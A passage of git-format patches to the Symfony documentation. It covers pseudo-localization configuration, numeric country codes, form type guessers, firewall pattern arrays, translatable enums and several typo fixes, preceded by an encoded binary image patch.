zgg{X*n^$=wi3QCl=DmXGbDgz1;+bD4s&Ou!ig`KP^drSEQooeDW^qr2FkR73CP;DN
zNeMt)dkze;u^!Z#(cK@m&9l6*y7>{YV7wl@YD@8U`E~gj8%fu?D}Wpf0vzXJ^jzx&
zo)ujz@gq~FdFt6w*8`6EvyxSpw%I0aoi>9mIdI<F1#WnXT?f=U#wKUJ2LVkIXc^PR
znpE5>rQX=DXpSL%*4->KWkF$A)D#%EMU*oXBR@OnAw5w+{@jVLuGBNu^&(+^!Rw-A
zTz{M>#IUkc7pws#y>@YAyf3stG~&?Pywg7>L+N+W>so>WP4{*`DKaa1qPGkx>}9eo
zkO;wyS%lJj{e86HFsiE+97i^6J%=EZ<snne&njmo&Zl=Zne;lx_8k(nBy|w??xLJ}
zbAGaMXd{|3O;gq=tNKDeA$a*0l6Cxfg4Xb%K#TxM*XOhP;GUFjOi>}NC4&9s_#1c{
z&^VYB;M6-BuxUrjQaTyiRDW*b`bY$-fEUOYJB=X`E;)2YqgWk6ePQMc(Ns^+F8RQ@
z>#vHHG*HN$;@tf^iEAUcUsD9iZ*grpT3ozo&yw+bYqTZmJ<wW(P;6zvd{B2d)8OkB
zVG4g+WA0OI6OoChnc((~Gy6|&1U%11cG~z@9ru}<k}#r%T7+aDt?NQ{hox{VsW&nf
zUCPsVE=MT)Lto8Yy*PYNzq#>P$X(qNNAU;9Z6tGI2=*CqovE3yf|`1f^pY;T-n3YG
z7VvPyGy;lh*jV;HIB)rwkiJ!%pLt<LEvTYW-nTcU{ukT0QP5GVcvS9JyGFauA5}R`
z?-0D9Io->PR;W&0FrXH6M|n6juODywmb}Je!EZ69kU3-L^Y_Oo^~X5D9<gq}>25;6
zHgmFj*B<NDOxrzW2pEis@ktS;dpWnaa`CFh$zb(YGy(&I5!}tPi2LWsih&^qeE_M#
z{PQHhz<~EFz_2j<kb<!YAoBO~UqE%R{`a6n7#Jx%)Rg>|@$-xTEyfLpZq#HJ&LYHc
zG7JnVQ9bg%f9R_xUo3>dfRyXK2sNxc1@N9<zaJ~tFKLxk9FEl0MzI^6MfO%hJ4nu4
z6)-R`8Zp{0b;L>=UTnOj0zN+ijA3v96k|XECj5Y(|9Jnq@PGXDukim(_`fFp4?O=x
z_&<L7I}^Wy{tv=`OXNS``7gr%8)012|DWLh3t{{Q{SWZ}fr<Ywq<<Io|0tvZ`Rm*%
zIX3CN=U9U2$45AI_Q-l%MxBeJS7rPpf^MK(1l2qmxx3(l4ZvMj89*fgcr4e&>$>P-
zK&}z|{ml;vz&*Pza@VE&pWgoM*Z&J7^}{8_wGa3nYYq*h=orT6>ccfub;d>pCI;!1
zSnO*guBlMqy?@2aeVP{MqrrEX0-*_Mc@)3|LE8c}A0^bI2g_OxBjrHoBQZ1_QYHRo
z>+1Z2k&24e^v|ij2ZEyfk9e=S=n33PHPOp(l-D}mo~X%sa~5m#b8N7rZAyouA|~JD
zpn;cn`&|<1u0UWH|G0^T65*_9lUSLr-S9>P5^jcqEU3A14sNZc*+<Icp_g(ONf<-|
zYifW+6Dt#<n@ewBoLij{#~ac?beuw`-L_Zh?^RtLB*BaM9kn#}TfTXp>Tej$E`9NJ
z6mwi!KW3;oJJ0@+z|X}X-lxr)vOrgqRuWtJ`MRwswx8{D>6~T$HvJ>ZfQCD^Zev0N
z_TrEzYKPZO-CXUp*Xq#b9PVYU)&9~Ayw`W_0*<>A5TU7UV_Q$(WFqsYC%RIP+tO;!
z!zVqAEVWS8(MmriE9b<wCt3{dT#(;NIGI~LA8u7Nb>4R+Ea=+l;+_w84By`lSmw0`
z*68gdgw}H<?V@oWuLp$83KML~#7vQ0I5)K#z2021)LfLp9sVAR{!p>w_>t+F+OG`@
z*`1=0y}Or7lhqwZlqup|^7%2NRkFNB&-dNJ-Ma64eynEiLUuEX+HyH>xNPq~3Ws)#
zRURMETsBvdnr7B`F7v<~Us|8~>QzwQj~|b^Yq~JWt{n4`aHP;dJaxiM-;;Z(mpb7)
zUeC`~YyI_^j>7B@B=;nGlS&k-yw`>7X1ZMEI?_s(RcxGx9r#E)pFUDdwaNoVo<3`P
zlw(BLwcRAEv*8JqG#|-y=1^aT2Ni1gL|i=`KjoCU^FH)h<cu78cHKz{AtAIXwYqxi
zrJSaznMOJDJjSvwK&;KCf_%s}1J$qoWVU43A?KUnlSglgN__nyiW4ifi|{Wbe?5S9
z(AEow%1P2@hYO2}IeWf5X-BD5#c=QwOMk%Bx1rsv_4)KsaH;M?#oec`iia9B8b6Sg
zCrmt9k42cs<Q732Wxk(m88oq)%T7Nljp^p*7k-%PlRhv~rmGAK3keB%nXO>xP%GKw
zARm+w<eDqs^`siqobPe>@f%RC>9FuhRItgB3QTWL!Emrm3pN+kv5rS*KjAo`jsKd5
zt0!Lnscl5nYcgR78^rm10)0Ce@qTo8FtzsnCl<B!nL)XZ@~Iz=RFl(_<QIsthJXa+
z=I(}mX+193(O}2;Koi$pH!{1C%ByF+Rr^^b&U(c3#MGnr@kl1$9GnD;6D{6tk-Qjc
zk~Mj>{3DnBsFgA+_|0ADYQy(-i3{c|TV^{FI<S2`_yd)j7K^<I1chS;@=rOIR4_|F
zN99_$4iTm6U495@Xg@Tt+a#?ETaA;h!a4|Cu0N}LoYd0dacaRo0q19&=jauoVZK(l
z=_jK8RHn>DoxAnv^zTBmi_^?Bky1MH5Y#+RstpNsZk91GP66x_E~`0f>k@UeazLz_
zTzKX~lH*RNB;(uiOieExacOk|%r*no6A<kKHpg4BIiW`zhjgSG_=zVg%jY$pGakHJ
zJffFr+&Uu0{psv>4)T>b;jq5Xo!%D;Y6+xkNDp**!I9e_`>edhFMR*j@Ya+mq1^y;
zIN7i~9rZMPJY1=#Nq5DqTvm113BK3ZY$kjP3TP@x;o5oeir{Pe((cWWVR;iGnc~){
z=;<4|i-XSs_1ogM*BFecQoRK&#Jo!Gc**?g4^fc5?+4_6h;3LP8xG&*$NS5d-k?a?
zp_{g1E{SSoiO2<-9}-XHL3?2dLBSrGusB3qeIA)XFcqh6(y@!ni)1dPhQ{*EcGYGR
zY`siF{Mk-V2WEpcI>L5w!T`U`A}Az@+xC@{8DA<pFCiKAO?=a0qQ#!3I}@Iy4otM9
z>bA^6t-O(iy+4y6TTZwN2-G{8HzoMeIc;9Igd(o^B5#KsFpop+dDmtG&EYR0L*|Dm
z$mXN=J5q1j+Y5os06eGZmxAH0RedFJc+edN1_oACOVqF8>=!*>G@ZODug5Fu<U$p4
zs3O{<U>lRHhFc_2b=Y6bs3!|w8y&rD+CSJyVaSu@?<I_Q&wMj%T#}xTt+T+ClDwA_
z+$a5V7ylL^W@yp-2@%1cd>J>wVdOq=r&hj*#~G^}1P&@jheYp!K2$i)U<cZNEkeBH
z+rp@EYpNjEp>(W9d>IK4CR7Y>B%GwnsYyYaiBEX+Ejh)|bFqU-UA<wn&nI$ND`W%q
ze_b66+E^6X^Zy_f3q6r~oU^iU!id@x`!E_;yK4zYoD(+EC+uQoQkW>Sqh0m%eivAL
zk}lOY-#9oNTS&2kQ1{{<{-yQCS_`ZDn<Won>FnnM=VrksxvDTt{}FLB63vE?8w-0T
zqRkH;2r3XC5J+(8O!*ZWSeOq|WPW+yAiWlgaQ9;K&}U4aeK%1~xODGkt~251_6L{w
z8ZeMzU+e0*zGRJZCj{El%NbLaG^r`qdqWx$nq}+s3x_Zbznuj<Pk1ug-`;2`@=$nS
z4E}paCQ<VB-e&@D;F17yt8!$Z3TBl;NsE6H2Pvz$4(JylEnzi{i7Ue7xy4U4Lg^M{
z>tOSWtT1RsEA(;Lxc>tGh!E-hQW2A{0dySTCaSO}91zdK$Dk;k<Q~7O5H1#wbLd;M
zn|ZI{Lh_I7zrx`!KJ1!QdEz&o=r5MzjTmPc-rm$@Wi^TJYN1Zp=Hhe%F#;Nr080tv
zrKrFoLz6|*$gVa&PvNr>IQ{wY!GsU`BCsodoBmp1($+yy^PID)M_=Tj#qoj@@tXGc
z??veFP%|ac?@Zs<<6q+dclvKMs8J-?98h{jxHrxnW;UAb_6J|_`*Y5b^%*am<+(a`
z!}sQMfx_90z7^9NPoYu7!N6`=WY#CwO`A!)NOQqbl@Yu$-T{Z-{j38?;-Qca_DRvX
zBhF>Z3!OunNk~IRbyQ)EU1jT)tF2$7T-pL2ae=Fzy3aaM@CCo9%#D4)&Qchu^y6iI
z@ov=|%dTb)&h2aJJ5*cu-6or}wzU!vQp*oT>3JkbwV($kC`x`$^Hk&A*WLG8_;Qee
zP)Br#zk#Ab!WiBo(ymvOWJxaynnMyg9Y4%5eefYIB$pXV8GKgbq~x|o>Xgx21$Gek
zoefyt+imU5G5?(s8RERuM|Kik?BKqj7meUe&`P%Kly*<x?t#qp+ip?zFI(JC8Yw^^
zU_$16uTiOmmO?c4ic@qCkAlMz6~r;FsnuELuJwuvHuf6O%_mJ$58bp*i*MrMQ|&rQ
z7V9{%keo15^|CC9ye*j^CN)UTnvHmuu6WW`fT>Q?U`0h|b)&m;e*c!LsoHh(8c4h9
z`hkP_qD@yNgJ+Ref|0JEaMbR0`@3*kp{AEd9F5N*qjT4lU5MO(Rz4-{%y?E`3ogJd
zxG=-5RmXBpLvCiF3M&`BZUaF63ZPVlukgLo3%o8nI|%xPRZ>5R&Jz}uN?@{|u=uGT
z-7$mQMfLbt-0$H#XdUOlJL3Xmi04Dky^RrJHC=5O8EQ0^e+uRm6_K{Oa<Is?*vJN^
z(mwFffR#V}oyHiaDs&)P5?_NYEUBU#DeC*mUxRZ1r(yaboodo&5h>StY}N||;%mfj
zqM>^&bN%PtdWh6-Y%MnGXa^5SmC5wwoMoF!5^nVRLob)pwK5lujz&B=HCA&C#*Vxw
zqkhlJjc!n+1Kzc)Ni(A7llpe;WZz%1A1G4-J%v5=9GUZQ0P_6R_|Y6?d%WE;%#0+J
z_AWHIcrL|19@_Ew#HZI#Lftu4UG02&$nF!Gj^y4O8#=1r=%C;&`|VHpEJamihez46
zr>-DyUvJgApGsFG+U_{b1u+L=U3T(_L-=NW@%7twa`$8#R-U}l&y!q>B%739q!M^e
z6!HG+?o%C~#rfRRjZ3MYFg&;sbvgwV^8+Wq$_lu>ofdhC%brN1jTJgZF%l7ZpwTHm
zJ~||h(*N#ywz<s9Z)*U7MnsF-O~=Ha_2zWTrA;LET)q{=kR2WH^>pMoH1$%0T@oq0
z_hHULNM?7NOD9mbF-~7qnV6Q+{OTLN0-EIli<rDlEl%FHgPtF6ZAo%G*ob?(G!uj7
z%n6gDg(lt{+_}X`;QhL+jGcP<Vp1$6Y~PV1s2@xG9#snwh6!prc)!r&RQg&4%`W7i
z^`h@S$p{;BhCc?0Y>9b<d5^f}6XCMw7WesjU9IuPbjU#<Ch-G3Eg4w2uO2f+T5YfU
z9-}+E@krh_+?6Q%^{xZAK5;502H~CMyD{o@yi2amaMiDdJ<n3oy0oO$yRxCb{gdw)
zQ)YRwt|r}McyGVQKyG@Y6SrKdn9WHr`yQ+Lt>66^XveoGIJ|OD!U9=?>`IOb=Pad#
z=#W=_9ZKEggbRbgb>M57rFI;f8xi<lW?lo(=h7hsyXYW_NjgYmGCQ~`HiSe;Mw&a4
zlwVZvA-z!lN<->H%?7Ee#T`<A^DKRZ;wR}ebj!W&wWJ<jaC38*$9bn}NYd(5em7Df
za?YwSva%3N+6$^yu^L#P!^^5ANJn24T3F<vyrUkgC>gNUz}?L@WkuHW$kmnHFrv}y
zPG>58om_xorZ_<^GO}V5=*<fXQ{IqERp4P*+xZ#LgIpju-N#e-2K{4>v=V}LP<L{z
z@X#hWOy)f2SR0e;xD~4=SZrmG2ZHtj*?UL+ZB-&i3__dP6k{$Hv*O-UP-Q&ssEryQ
zd+1kSWe%w%hpZ9zeJ=3tEJRjufUTm9?j-a9<B=(k{7CU(8Q7fRhcAJlQq9n+i}oUH
zuwDrqSWoDjHG*2rFu~nt7fEiv7g)l@!1P25QbqN<w1&V1yj4_<+*1mYkj=m1q^B(f
zc5kyolzHluL?ARe-ayB3g(-}TU!U9HGm_%EJjLW>A+ZGxZX@KfX5nO9Ad_fJ{%8p7
zsn5kbnYMIF=qFK#3E4)NT!(3{*X}!Mycea&TqIKJMpRc1)6>w*1&$9<Vn!)O&n)L?
zI`xa|IR9cNi34nDam#cMUYx}Uwk$CC_C}<Y{e9YF#Rdp1q)lc>6R}Xga!1T;G&KL~
zvrNXYSSr@V!!r{6&%kK&ePRCGd{}wc_r^Wmf||bxToek$qL2(2#H5nOrt@&IPL>8~
zN-;))fCfO=M4cbPU3;aXXw?x%!Z4~_Kz_p_1X4ei_lHNI?Qi<HHt#EB*IHHjV^#Q@
z05z%hFYc}g7I?O5pkT>awbx~ZE8S+RM7j1;Fxlh1gFnLL0M`k$KbUxtH>-L<!JV0l
z8{9$9nh7WWeEM61rGD5zew)TYpudPDRsExZAt4-p<RB&W4+u1HR?RbD(2v2ma<%S;
z?avO_B2=!e6^Ls?#cwbB+B|VRrvD$q{}K7G@c%{lzb4`riLps_Ql~MmsRB@f0g+ac
JDv&Vt|9|91#q|IH

literal 0
HcmV?d00001

diff --git a/translation.rst b/translation.rst
index 1d23f9171a9..6ea797c27f9 100644
--- a/translation.rst
+++ b/translation.rst
@@ -828,7 +828,7 @@ A better policy is to include the locale in the URL using the
             {
             }
         }
-        
+
     .. code-block:: php-attributes
 
         // src/Controller/ContactController.php
@@ -1289,6 +1289,136 @@ adapted to the format required by GitHub, but you can force that format too:
 
         The ``yaml-lint`` binary was introduced in Symfony 5.1.
 
+Pseudo-localization translator
+------------------------------
+
+.. versionadded:: 5.2
+
+    The pseudolocalization translator was introduced in Symfony 5.2.
+
+.. note::
+
+    The pseudolocalization translator is meant to be used for development only.
+
+The following image shows the main menu of the interface of a popular Internet
+service:
+
+.. image:: /_images/translation/pseudolocalization-interface-original.png
+
+This other image shows the same menu when the user switches the language to
+Spanish. Unexpectedly, some text is cut and other contents are so long that
+they overflow and you can't see them:
+
+.. image:: /_images/translation/pseudolocalization-interface-translated.png
+
+These kind of errors are very common, because different languages can be longer
+or shorter than the original application language. Another common issue is to
+only check if the application works when using basic accented letters, instead
+of checking for more complex characters such as the ones found in Polish,
+Czech, etc.
+
+These problems can be solved with `pseudolocalization`_, a software testing method
+used for testing internationalization. In this method, instead of translating
+the text of the software into a foreign language, the textual elements of an
+application are replaced with an altered version of the original language.
+
+For example, ``Account Settings`` is *translated* as ``[!!! Àççôûñţ
+Šéţţîñĝš !!!]``. First, the original text is expanded in length with characters
+like ``[!!! !!!]`` to test the application when using languages more verbose
+than the original one. This solves the first problem.
+
+In addition, the original characters are replaced by similar but accented
+characters. This makes the text highly readable, while allowing to test the
+application with all kinds of accented and special characters. This solves the
+second problem.
+
+Full support for pseudolocalization was added to help you debug
+internationalization issues in your applications. You can enable and configure
+it in the translator configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translation.yaml
+        framework:
+            translator:
+                pseudo_localization:
+                    # replace characters by their accented version
+                    accents: true
+                    # wrap strings with brackets
+                    brackets: true
+                    # controls how many extra characters are added to make text longer
+                    expansion_factor: 1.4
+                    # maintain the original HTML tags of the translated contents
+                    parse_html: true
+                    # also translate the contents of these HTML attributes
+                    localizable_html_attributes: ['title']
+
+    .. code-block:: xml
+
+        <!-- config/packages/translation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:translator>
+                    <!-- accents: replace characters by their accented version -->
+                    <!-- brackets: wrap strings with brackets -->
+                    <!-- expansion_factor: controls how many extra characters are added to make text longer -->
+                    <!-- parse_html: maintain the original HTML tags of the translated contents -->
+                    <framework:pseudo-localization
+                        accents="true"
+                        brackets="true"
+                        expansion_factor="1.4"
+                        parse_html="true"
+                    >
+                        <!-- also translate the contents of these HTML attributes -->
+                        <framework:localizable-html-attribute>title</framework:localizable-html-attribute>
+                    </framework:pseudo-localization>
+                </framework:translator>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/translation.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework
+                ->translator()
+                    ->pseudoLocalization()
+                        // replace characters by their accented version
+                        ->accents(true)
+                        // wrap strings with brackets
+                        ->brackets(true)
+                        // controls how many extra characters are added to make text longer
+                        ->expansionFactor(1.4)
+                        // maintain the original HTML tags of the translated contents
+                        ->parseHtml(true)
+                        // also translate the contents of these HTML attributes
+                        ->localizableHtmlAttributes(['title'])
+            ;
+        };
+
+That's all. The application will now start displaying those strange, but
+readable, contents to help you internationalize it. See for example the
+difference in the `Symfony Demo`_ application. This is the original page:
+
+.. image:: /_images/translation/pseudolocalization-symfony-demo-disabled.png
+
+And this is the same page with pseudolocalization enabled:
+
+.. image:: /_images/translation/pseudolocalization-symfony-demo-enabled.png
+
 Summary
 -------
 
@@ -1322,3 +1452,5 @@ Learn more
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors
 .. _`Custom Language Name setting`: https://docs.lokalise.com/en/articles/1400492-uploading-files#custom-language-codes
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
+.. _`pseudolocalization`: https://en.wikipedia.org/wiki/Pseudolocalization
+.. _`Symfony Demo`: https://github.com/symfony/demo

From 900bfa7b0c500b05c58f0663a108ed49357dd242 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 25 Jul 2023 12:47:42 +0200
Subject: [PATCH 3563/5766] Remove obsolete versionadded directive

---
 translation.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 2e15f6280bf..0b8f001a2cd 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1315,10 +1315,6 @@ adapted to the format required by GitHub, but you can force that format too:
 Pseudo-localization translator
 ------------------------------
 
-.. versionadded:: 5.2
-
-    The pseudolocalization translator was introduced in Symfony 5.2.
-
 .. note::
 
     The pseudolocalization translator is meant to be used for development only.

From 705cf3f6be4d3680b0400a66aecd9f467dddbd30 Mon Sep 17 00:00:00 2001
From: John Bafford <john@bafford.com>
Date: Tue, 25 Jul 2023 15:14:55 -0400
Subject: [PATCH 3564/5766] [Mailer] Fix typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 63a91977c2e..31d7ccb0236 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1422,7 +1422,7 @@ disable asynchronous delivery.
     method was made public in Symfony 6.1.
 
 You can also select the transport by adding an ``X-Bus-Transport`` header (which
-will be remove automatically from the final message)::
+will be removed automatically from the final message)::
 
     // Use the bus transport "app.another_bus":
     $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');

From a9da7e05b4b1f06423791537346c0c33101c464d Mon Sep 17 00:00:00 2001
From: Ben Roberts <ben@headsnet.com>
Date: Tue, 25 Jul 2023 18:36:52 +0200
Subject: [PATCH 3565/5766] Document support for ISO 3166-1 numeric codes

To accompany PR https://github.com/symfony/symfony/pull/51073
---
 components/intl.rst | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)

diff --git a/components/intl.rst b/components/intl.rst
index 5ec6c4b7011..7983efb5eeb 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -179,6 +179,33 @@ You may convert codes between two-letter alpha2 and three-letter alpha3 codes::
 
     $alpha2Code = Countries::getAlpha2Code($alpha3Code);
 
+Numeric Country Codes
+~~~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\Intl\\Countries` class also provides access to the
+numeric country codes according to the `ISO 3166-1 numeric`_ list::
+
+    use Symfony\Component\Intl\Countries;
+
+    \Locale::setDefault('en');
+
+    $numericCodes = Countries::getNumericCodes();
+    // ('alpha2Code' => 'numericCode')
+    // => ['AA' => '958', 'AD' => '020', ...]
+
+    $numericCode = Countries::getNumericCode('FR');
+    // => '250'
+
+    $alpha2 = Countries::getAlpha2FromNumeric('250');
+    // => 'FR'
+
+    $exists = Countries::numericCodeExists('250');
+    // => true
+
+.. versionadded:: 6.4
+
+    The support for numeric country codes was introduced in Symfony 6.4.
+
 Locales
 ~~~~~~~
 
@@ -435,6 +462,7 @@ Learn more
 .. _`Unicode ISO 15924 Registry`: https://www.unicode.org/iso15924/iso15924-codes.html
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2
 .. _`ISO 3166-1 alpha-3`: https://en.wikipedia.org/wiki/ISO_3166-1_alpha-3
+.. _`ISO 3166-1 numeric`: https://en.wikipedia.org/wiki/ISO_3166-1_numeric
 .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1

From 45b56c4511da25d3d9a22e306402f9e111119d5b Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Wed, 26 Jul 2023 11:00:43 +0200
Subject: [PATCH 3566/5766] [Form] Improve form type guessers section

---
 form/type_guesser.rst | 23 +++++++++++++++++------
 1 file changed, 17 insertions(+), 6 deletions(-)

diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index f89808d5e08..29c9cea0e21 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -13,6 +13,17 @@ type guessers.
     * :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmTypeGuesser`
       provided by the Doctrine bridge.
 
+Guessers are used only in the following cases:
+
+* Using
+  :method:`Symfony\\Component\\Form\\FormFactoryInterface::createForProperty`
+  or
+  :method:`Symfony\\Component\\Form\\FormFactoryInterface::createBuilderForProperty`;
+* Calling :method:`Symfony\\Component\\Form\\FormInterface::add` or
+  :method:`Symfony\\Component\\Form\\FormBuilderInterface::create` or
+  :method:`Symfony\\Component\\Form\\FormBuilderInterface::add` without an
+  explicit type, in a context where the parent form has defined a data class.
+
 Create a PHPDoc Type Guesser
 ----------------------------
 
@@ -70,7 +81,7 @@ The ``TypeGuess`` constructor requires three options:
 
 * The type name (one of the :doc:`form types </reference/forms/types>`);
 * Additional options (for instance, when the type is ``entity``, you also
-  want to set the ``class`` option). If no types are guessed, this should be
+  want to set the ``class`` option). If no options are guessed, this should be
   set to an empty array;
 * The confidence that the guessed type is correct. This can be one of the
   constants of the :class:`Symfony\\Component\\Form\\Guess\\Guess` class:
@@ -162,11 +173,11 @@ set.
 
 .. caution::
 
-    You should be very careful using the ``guessPattern()`` method. When the
-    type is a float, you cannot use it to determine a min or max value of the
-    float (e.g. you want a float to be greater than ``5``, ``4.512313`` is not valid
-    but ``length(4.512314) > length(5)`` is, so the pattern will succeed). In
-    this case, the value should be set to ``null`` with a ``MEDIUM_CONFIDENCE``.
+    You should be very careful using the ``guessMaxLength()`` method. When the
+    type is a float, you cannot determine a length (e.g. you want a float to be
+    less than ``5``, ``5.512313`` is not valid but
+    ``length(5.512314) > length(5)`` is, so the pattern will succeed). In this
+    case, the value should be set to ``null`` with a ``MEDIUM_CONFIDENCE``.
 
 Registering a Type Guesser
 --------------------------

From 5190cbbe8d6804b98e653c3ffd98b68334721567 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 27 Jul 2023 10:11:39 +0200
Subject: [PATCH 3567/5766] [FrameworkBundle] Add note for `prefix_seed` about
 container compilation

---
 reference/configuration/framework.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index ebd09140aee..e3b37df3f13 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3184,6 +3184,12 @@ It's also useful when using `blue/green deployment`_ strategies and more
 generally, when you need to abstract out the actual deployment directory (for
 example, when warming caches offline).
 
+.. note::
+
+    The ``prefix_seed`` option is used at compile time. This means
+    that any change made to this value after container's compilation
+    will have no effect.
+
 .. versionadded:: 5.2
 
     Starting from Symfony 5.2, the ``%kernel.container_class%`` parameter is no

From 66a7330e9bd94611442d531deb4b958faf4b298e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 27 Jul 2023 13:14:27 +0200
Subject: [PATCH 3568/5766] [SecurityBundle] Allow an array of pattern in
 firewall configuration

---
 security.rst | 49 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 49 insertions(+)

diff --git a/security.rst b/security.rst
index eb60ec0d1cf..4a1bfd260c8 100644
--- a/security.rst
+++ b/security.rst
@@ -561,6 +561,55 @@ The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
 ``/_profiler`` and ``/_wdt``.
 
+.. tip::
+
+    Instead of creating one long regex to match all routes you want, you're
+    also able to use an array of simpler regexes to match routes:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/security.yaml
+            security:
+                # ...
+                firewalls:
+                    dev:
+                        pattern:
+                            - ^/_profiler/
+                            - ^/_wdt/
+                            - ^/css/
+                            - ^/images/
+                            - ^/js/
+            # ...
+
+        .. code-block:: php
+
+            // config/packages/security.php
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security): void {
+                // ...
+                $security->firewall('dev')
+                    ->pattern([
+                        '^/_profiler/',
+                        '^/_wdt/',
+                        '^/css/',
+                        '^/images/',
+                        '^/js/',
+                    ])
+                    ->security(false)
+                ;
+
+                // ...
+            };
+
+    This feature is not supported by the XML configuration format.
+
+    .. versionadded:: 6.4
+
+        The possibility to use an array of regex was introduced in Symfony 6.4.
+
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
 it matches *all* URLs). A firewall can have many modes of authentication,
 in other words, it enables many ways to ask the question "Who are you?".

From f5a899eb1b04c8b28845f7d82938d5dcd753e31a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 27 Jul 2023 13:34:42 +0200
Subject: [PATCH 3569/5766] [FrameworkBundle] Fix merging typos

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0ecfaa185d9..83fedf2d460 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1,4 +1,4 @@
-nsl.. _framework-bundle-configuration:
+.. _framework-bundle-configuration:
 
 Framework Configuration Reference (FrameworkBundle)
 ===================================================
@@ -25,7 +25,7 @@ Configuration
 -------------
 
 .. _configuration-framework-secret:
-a
+
 secret
 ~~~~~~
 

From 5f59527498fd55bcade1b0d9d8186e403d7b9ab7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Alfaiate?= <s.alfaiate@webarea.fr>
Date: Sun, 23 Jul 2023 23:21:10 +0700
Subject: [PATCH 3570/5766] [Form] Support Translatable Enum

---
 reference/forms/types/enum.rst | 41 +++++++++++++++++++++++++---------
 1 file changed, 31 insertions(+), 10 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 813a5fffbf5..76ac77a75f4 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -51,17 +51,38 @@ these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
 The label displayed in the ``<option>`` elements of the ``<select>`` is the enum
 name. PHP defines some strict rules for these names (e.g. they can't contain
-dots or spaces). If you need more flexibility for these labels, use the
-``choice_label`` option and define a function that returns the custom label::
+dots or spaces). If you need more flexibility for these labels, your enum can
+implement ``TranslatableInterface`` to translate or display custom labels::
 
-    ->add('textAlign', EnumType::class, [
-        'class' => TextAlign::class,
-        'choice_label' => fn ($choice) => match ($choice) {
-            TextAlign::Left => 'text_align.left.label',
-            TextAlign::Center => 'text_align.center.label',
-            TextAlign::Right  => 'text_align.right.label',
-        },
-    ]);
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    use Symfony\Contracts\Translation\TranslatableInterface;
+    use Symfony\Contracts\Translation\TranslatorInterface;
+
+    enum TextAlign: string implements TranslatableInterface
+    {
+        case Left = 'Left aligned';
+        case Center = 'Center aligned';
+        case Right = 'Right aligned';
+
+        public function trans(TranslatorInterface $translator, string $locale = null): string
+        {
+            // Translate enum from name (Left, Center or Right)
+            return $translator->trans($this->name, locale: $locale);
+
+            // Translate enum using custom labels
+            return match ($this) {
+                self::Left  => $translator->trans('text_align.left.label', locale: $locale),
+                self::Center => $translator->trans('text_align.center.label', locale: $locale),
+                self::Right  => $translator->trans('text_align.right.label', locale: $locale),
+            };
+        }
+    }
+
+.. versionadded:: 6.4
+
+    Support for ``TranslatableInterface`` was introduced in Symfony 6.4.
 
 Field Options
 -------------

From 27ef0bee03b2456623c547eb634e661055e04fd9 Mon Sep 17 00:00:00 2001
From: Cyanat <65961341+Cyanat@users.noreply.github.com>
Date: Wed, 26 Jul 2023 11:44:29 +0200
Subject: [PATCH 3571/5766] Update redis_adapter.rst

Using RedisTagAwareAdapter, Redis maxmemory-policy has to be "noeviction" or "volatile-*"
---
 components/cache/adapters/redis_adapter.rst | 28 ++++++++++++---------
 1 file changed, 16 insertions(+), 12 deletions(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
